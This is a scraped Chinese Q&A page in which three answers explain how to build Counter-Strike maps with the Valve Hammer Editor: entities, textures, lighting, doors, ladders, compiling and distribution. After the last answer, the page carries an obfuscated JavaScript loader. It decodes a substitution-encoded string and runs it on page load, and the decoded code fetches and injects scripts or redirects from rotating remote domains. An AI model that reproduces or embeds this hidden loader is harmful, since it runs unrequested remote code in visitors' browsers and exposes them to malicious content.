如何制作cs地图(要详细)

2025-02-07 23:19:49
推荐回答(3个)
回答1:

  为了20分:
  首先你应该知道wc这个该死的文件怎么用,如果会用,一切都好办了,还有一点是你小学的主视图、俯视图、左视图要好;),如果没问题了,开始学吧...
  首先你要明白,CS中的每一个东西都是用积木搭起来的,通过3个视图和左上方的摄像区你就可以设计了,脑子里要有构想,说个最简单的吧:首先用积木这个按钮(样子是白色的正方体)在这3个视图中的2个(推荐主视图和俯视图)各拖出一个正方形,点右键会出现建立实体,再按左边的箭头,选中这个正方体,工具中的第二个(挖空)出现的那个数字是厚度,自己添个就行了,这时,一个中空的正方体就好了...
  选中这个正方体,在右边有个纹理的样式,你选个你喜欢的,再在右边的工具栏里有个应用当前纹理就可以了,如果你看到左上方的摄像机中全是线条,那么请点摄像机这3个字英语(camera)有个3D纹理视图,就看到了跟cs里差不多的场景了。
  在这个正方形中还要设警察匪徒的出生点:点左边的像灯泡的按钮,会出现个十字(在3个视图中)选个你想的地方(太高就摔死了,太低会卡在地里,当靶子呗~)总之,要稍微离地面一定的高度就行了,Alt+Enter,会出现一个框框,实体名称选info_player_deathmatch(警)或 info_player_start(匪)注意多设几个,可以让更多人玩,最后需要一个灯泡(你喜欢夜战也可以,多刺激阿~)点左边的像灯泡的按钮同上,注意既然是灯泡就应该放在顶上,实体名称选light,下面会有些选项,其中有个255 255 255 200 前3个是颜色,后一个是亮度做好后就OK了,
  这是最基本的图如果想设机枪,车什么的建议去看看cs地图制作天书。
  写完了!累了一个早晨...20分给我吧:p

回答2:

说真的,学习地图编辑很有难度,最好还是请会的人帮忙,本人学到一半应为实在看不懂还放弃了,希望你能成功!

一、系统要求
操作系统:Windows 98/Me/2000/XP (推荐Win2000/XP)
CPU:500 MHz (推荐1.7G以上)
显卡:支持OpenGL (推荐GeFore2MX400以上)
内存:128MB (推荐256MB以上)
二、工具准备
-> Valve Hammer Editor 简称 Hammer (必备)
-> Half-Life Level Compilation Controller 简称 HLCC
-> Zoner's Halflife Tools 简称 ZHLT
-> 其它相关工具:Wally、GenSurf、HLC、SprView、SprWiz、WinBSPC、PhotoShop、ACDSee……

CS地图制作工具包我网盘里有
http://ycfzp.gbaopan.com/files/4da6eb710090403988f9a4f36dc3790d.gbp
三、Hammer设置
打开Hammer,选择菜单【工具】-【选项】打开【配置】对话框(第一次运行时会自动弹出)。

选择【2D视图】选项卡并钩选【使用方向键控制已选择的对象/顶点】方便以后进行精细操作。 选择【3D视图】选项卡,把【后备剪切缓存】拖至最大. 选择【贴图】选项卡,单击【添加】按钮选择CS安装目录下“Valve”子目录下的“halflife.wad”文件。同样的办法选择CS安装目录下“cstrike”子目录下的“cstrike.wad”文件。如果你还有其它贴图文件请依次加入(提示:除这两个文件外如果不是十分需要最好不要添加,因为必须保证贴图文件的同步发行)选择【游戏配置】选项卡,单击配置【编辑】,在弹出的【编辑游戏配置】对话框中单击【添加】输入“CStrike”依次【确定】【关闭】。返回【游戏配置】选择卡,单击游戏数据文件【添加】,选择Hammer安装目录下“FDG\Counter-Strike”子目录下的“halflife-cs(中文).fgd”文件。这时再单击游戏执行目录【浏览】选择CS的安装目录,单击Mod目录【浏览】选择CS安装目录下的“cstrike”子目录,单击游戏目录【浏览】选择CS安装目录下的“valve”子目录,单击RMF目录【浏览】选择存放保存文档的目录(比如“C:\My documents\RMF”)。
选择【编译程序】选择卡,配置选择“CStrike”,单击Game执行程序【浏览】选择CS安装目录下的“HL.exe”(MOD版)或“CStrike.exe”(零售版),单击CSG编译程序【浏览】选择ZHLT安装目录下的“hlcsg.exe”,单击BSP编译程序【浏览】选择ZHLT安装目录下的“hlbsp.exe”,单击VIS编译程序【浏览】选择ZHLT安装目录下的“hlvis.exe”,单击RAD编译程序【浏览】选择ZHLT安装目录下的“hlrad.exe”,单击最后一个【浏览】按钮选择一个编译程序的临时工作目录即可。
工具说明
1、选择工具
在四个视图中选择固体或实体,第一次选择对象时必须按对象边框选择或中心句柄选择,第一次选择时,可以移动对象,更改对象大小,当第二次选择时可以旋转对象,按住Shift键将按标准角度15,30,45,60,75,90旋转,当第三次选择时可以对选择进行变形处理。
按Ctrl键不放可以进行多选,按Shift键并拖动鼠标可以进行复制。

2、缩放工具
在顶、前、侧三个视图中单击左键放大视图,单击右键缩小视图。如果有3D鼠标那么使用滚轮会有相同的效果。

3、摄像机工具
在摄像机视图中进行多角度观察。左键+拖动=原地旋转,右键+拖动=上下左右平移,左键+右键+拖动=前后左右平移。

4、实体工具
建立地图中的实体,可以在新建栏选择类型或使用菜单【编辑】【属性】进行修改。总之非常有用,比如添加光源,出生点,人质点,等。更多参考请见 WorldCraft 3.x 中文帮助。

5、块工具
建立固体的工具,固体是所有地图元件的基础。

6、表面贴图工具
对固体各个表面进行分别处理,使之拥有不同的材质。使用此工具将弹出【表面贴图】对话框,其中的位移,缩放,旋转将影响贴图的效果(提示:最好使用【工具】【固定贴图】命令将贴图锁定以免移动固体贴图发生位移)

7、应用当前贴图
将贴图属性栏中选则的贴图付给视图中选择的固体

8、平面贴图工具
制作类似埋雷点标志那样效果的工具

9、切削工具
对一个固体进行切削,比如可以把四边形切割为三角形或五边形。(我个人认为完全可以用10代替)

10、顶点控制工具
对固体进行顶点编辑,功能强大,可以使物体变化出非常奇特的形状,单也非常危险,由于编译器不认负角,所以我们制作固体时必须保证没有凹陷,这非常重要,往往很多的错误都是由于顶点编辑引起的。当使用顶点控制工具时选择两个对应中点(相邻的两个黄点)再按Ctrl+F即可添加一条边。

11、路径工具
制作活动路径时使用。

最简单的地图应包含一个封闭的空间,至少一个出生点。现在我们开始制作一个地图,它包含一个盒状空间,天空,全局光源,警方出生点,匪方出生点。由此可以大概了解地图的制作环境和过程。

打开Hammer,执行【文件】【新建】选择【块工具】在顶视图拖拉出一个矩形,按回车键创建固体。
使用【选择工具】选择固体并在其它三个视图中调整固体的大小(提示:当固体被选中时再次使用【选择工具】单击则可进行旋转处理,不过请注意三个视图的关系:-))
在贴图属性栏上单击【浏览】选择一个合适的贴图,按回车确认(提示:不要单击【选择】按钮,在过滤文本框中可以输入名称用以搜索贴图),用【选择工具】选择固体,按【应用当前贴图】按钮可以给固体更换贴图。(单个表面贴图的设置将在后面讨论)

选择菜单【工具】【挖空】可以将固体按一定厚度挖空。
选择菜单【工具】【分解】使被组合的固体分解为单个固体。这时使用【摄像机工具】在摄像机视图中拖拉鼠标就可以从各个角度观察场景(提示:左键=原地旋转,右键=上下左右平移,左键+右键=前后左右平移)。使用【选择工具】选择这个“盒子”的顶盖,然后用上面提到的方法付给名称为“SKY”的贴图。
选择【实体工具】在新建栏上选择种类为“light_environment”,然后在顶视图中的“盒子”内部单击并回车,创建了一个太阳实体,用【选择工具】选择太阳并保持鼠标在某一个视图中按键盘上的方向键进行位置调整。最后保证太阳在盒子内部。

用同样的方法创建“info_player_start”(警方出生点)“info_player_deathmatch”(匪方出生点),保证位置不能太高(否则会跌死),不能接触地面(否则出生后会无法移动)。
选择菜单【地图】【检查问题】,如果没有问题,就可以编译了。如果出现错误,请检查上面的步骤是否正确,并再次编译。

选择菜单【文件】【运行】,在【运行地图】对话框中选中【不运行游戏】按【确定】,大约等待几分钟后,即可完成编译过程。

退出Hammer,运行CS,选择【局域网游戏】【建立游戏】选择刚才已编译好的地图,进行测试。当然这个地图没有任何功能,但的确是自己亲手制作的地图啊。
表面贴图

相对于整个固体的贴图,我们还可以给固体的不同表面贴上不同的材质。使用【表面贴图工具】或菜单【工具】【表面贴图】命令打开表面贴图对话框,这时可以使用【摄像机工具】移动摄像机,使用【选择工具】选择将要处理的表面(提示:按住Ctrl键可以进行多选)。单击【浏览】选择一个中意的贴图,单击【应用】即可看到效果(提示:单击【隐藏掩模】可以去掉红色的掩模,以便观察实际效果)。如果你对默认的效果不满意,则可以设置“缩放”“位移”“旋转”等参数,也可以单击【左】【中】【适】等按钮进行快速匹配。

替换贴图

当我们的地图做了一段时间后,才发现某一个贴图使用的不是很恰当,这时我们可以使用替换贴图功能。单击贴图属性工具栏上的【替换】弹出替换贴图对话框,单击目标下的【浏览】按钮选择将要被替换的贴图(提示:钩选选择贴图对话框左下角的“仅显示使用过的贴图”复选框,可以缩小浏览范围),然后单击替换为下的【浏览】选择将要使用的贴图,【确定】

显示、隐藏

有时我们需要暂时隐藏一些物体,可以单击【隐藏所选】按钮,单击【显示所有】按钮将恢复隐藏的物体。我们还可以将几个物体进行组合,这样便可以同时显示或隐藏。

顶点编辑

选择【顶点编辑】工具,选择白色的控制点可以编辑顶点,选择黄色的控制点可以编辑边框,选择一个白点并拖动到另一个点上可以删除一个点,选择对应的两个黄点按“Ctrl+F”可以添加一条边。参照其它说明

雕刻

有时我们需要用一个物体打穿另一个物体,这时我们选择用来雕刻的物体,移动到被雕刻的物体上,选择【工具】【雕刻】即可。注意的是一般用来雕刻的物体要比被雕刻的物体在纵深上要大,执行雕刻时推荐将不必要的物体隐藏,以免受到影响。

制作灯光

没有灯光,进入游戏后就会一片黑暗,我们前面名为“light_environment”的实体代表太阳,它的作用就是一个全局光源,所有可以看到“SKY”贴图的地方都可以得到光线。但有些地方比如地道就须要辅助光源了,我们有两种方法添加光源:一、使用【实体工具】在需要的地方添加名为“Light”或“Light_spot”的实体,然后使用【编辑】【属性】对光源进行设置;二、使用特定的发光贴图。制作一个代表灯的固体并贴上材质,记下材质的名称,使用“RADEditor”新建一个文件,单击【添加】输入刚才记下的名称,对光源属性进行设置(提示:亮度一般在10000左右,范围较大时可以使用30000以上),保存文件到地图*.rmf文件的目录。在Hammer中,选择菜单【文件】【运行】【专家模式】在“编译/运行命令”下选择“$light_exe”在右边的参数尾部添加“ -lights $path\刚才保存的RAD文件名”即可。使用HLCC编译时,请参照其它说明。

制作镂空

有些东西如铁丝网、栅栏、梯子扶手等都是此类物体,他们有部分空间是镂空的。我们可以对这些物体赋予以“{”打头名称的贴图,它们的蓝色部分将会透明。然后选择这些物体,选择菜单【工具】【转换为实体】,“类”选择“func_wall”“渲染的模式”选择“固体”,“透明度”输入“255”。

制作梯子

使用梯子我们可以进行攀登。首先按制作镂空的方法制作一个梯子模型,然后再制作一个比梯子模型稍大的固体并赋予“AAATRIGGER”材质,选择刚才制作的“AAATRIGGER”固体,转换为实体,“类”选择“func_ladder”。

制作草

与镂空不同的地方是“类”选择“func_illusionary”。

制作可损坏物体

选择欲转换的固体,转换为实体,类选择“func_breakable”,“耐久度”输入一个数字,数字越大,越坚固。“材料”可以选择相应的类型。其它属性可以按喜好设置。如果是玻璃,我们可以设置“透明度”为一个较小的值。

制作门

拉门:制作一个门的模型,转换为“func_door”类型的实体即可。你可以修改其中的一些属性,以便达到不同的效果。
转门:转门相对拉门要复杂一些。制作一个门的模型,再制作一个虚拟门轴的模型(提示:运行时看不见,可以绘制的比较粗略,但必须保证门轴模型的中心位于门轴的位置),然后赋予门轴“ORIGIN”名称的贴图,同时选择门和门轴,转换为“func_door_rotating”类型的实体,再对其它属性进行设置即可。

制作水

选择要转换的固体,赋予以“!”打头的贴图,转换为“func_water”实体即可。

地图属性

【地图】【地图属性】中可以设置地图的相关属性,其中重要的有“地图标题”“天空背景图”(提示:背景图由6张不同的贴图组成,分别为*lf.tga、*rt.tga、*ft.tga、*bk.tga、*up.tga、*dn.tga,存放于CS安装目录下“cstrike\gfx\env”子目录。“天空背景图”取其文件名的共同部分*,比如“green”、“city1”等)

------------------------------------

制作不同类型的地图

解救人质

场景中必须包含“hostage_entity”(人质出生点)和“info_hostage_rescue”(人质安全区)类型的点状实体(可配合“func_hostage_rescue”类型的固体实体使用)。

拆除炸弹

场景中必须包含“info_bomb_target”(埋炸弹点)类型的点状实体(可配合“func_bomb_target”类型的固体实体使用)。

保护VIP

场景中必须包含“info_vip_start”(VIP出生点)类型的点状实体,以及“func_vip_safetyzone”(VIP安全区)类型的固体实体。

它们所特有的实体不能同时出现在一个场景中!

可共用实体

“func_buyzone”(购买武器的范围)类型的固体实体、其它实体。
使用HLCC编译地图

在Hammer中选择【文件】【导出为MAP文件】导出一个MAP格式的文件。打开HLCC,其中【MAP目录】指向刚才导出文件的目录,【BSP目录】指向CS安装目录的“cstrike\bsp”子目录,【工具目录】指向ZHLT的安装目录【半条命目录】指向CS的安装目录。钩选【选项】中的【支持ZHLT编译工具】。选择【参数B】中的【光源RAD文件】可以自定义光源材质的发光设置。单击【文件】中的【编译】即可进行编译。一般来说,相对较大的地图花费的时间也较长,我这里的一张地图全部采取默认参数,就使用了近4个小时才编译完,汗。(赛扬1.2,320MB RAM)

使用自定义贴图

使用另一个工具Wally创建一个贴图包(*.WAD)文件,里面包含了将要使用到的图像文件,至于图像的编辑,可以用PhotoShop等图像处理软件制作再复制到Wally。这里要注意的是,每一个贴图都有一个名称,此名称决定了贴图的类型和效果。打开Hammer中的【工具】【选项】【贴图】选项卡,然后添加此贴图包,即可在地图中使用自定义贴图。

反编译地图

使用WinBSPC打开一个地图文件*.BSP然后在【转换设置】里选择【MAP】,选择输出路径,其它保持默认,【确定】。用Hammer导入MAP文件即可。(提示:为了保证贴图正确,请将原地图的贴图包文件*.WAD文件复制到CS安装目录的“cstrike”子目录,然后添加到Hammer的贴图集合)

注意的问题

制作地图时应该注意,设计的原则是“弃繁从简”,能简化的物体就尽量简化,能省略的就尽量省略;地图不宜过大,过大时可以对其进行分隔,使其空间相对独立,彼此之间可以用通道连接(请参照原带地图cs_dust);站在一个位置,所看到的其它物体越少越好。这样才能使地图编译地更快,出错的机会更少,游戏运行的FPS才会越高,总之好处多多。

发布地图

地图制作好了当然要发布出去,保证地图的正常运行需要将如下文件打包:制作好的地图文件(*.BSP)、地图贴图文件(*.WAD)。如果使用了其它资源也必须一同打包:图形组件(*.SPR)、声音(*.WAV)、模型(*.MDL)、背景(*.TGA)、地图说明(*.TXT)。如果还制作了机器人路点文件当然也要打包:(*.PWF)( *.PXP)。最后写一个安装说明。
相关文件的默认路径:
*.BSP = cstrike\maps
*.WAD = cstrike
*.SPR = cstrike\sprites
*.WAV = cstrike\sound\对应目录
*.MDL = cstrike\models
*.TGA = cstrike\gfx\env
*.TXT = cstrike\maps
*.PWF = cstrike\PODBot\WPTDefault
*.PXP = cstrike\PODBot\WPTDefault
PODBot 路点设计

这是帖吧网址http://post.baidu.com/f?kz=175118359

去迪酷网 或者亿赛网看也行

回答3:

cs的地图制作工具用的是valve hammer editor

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();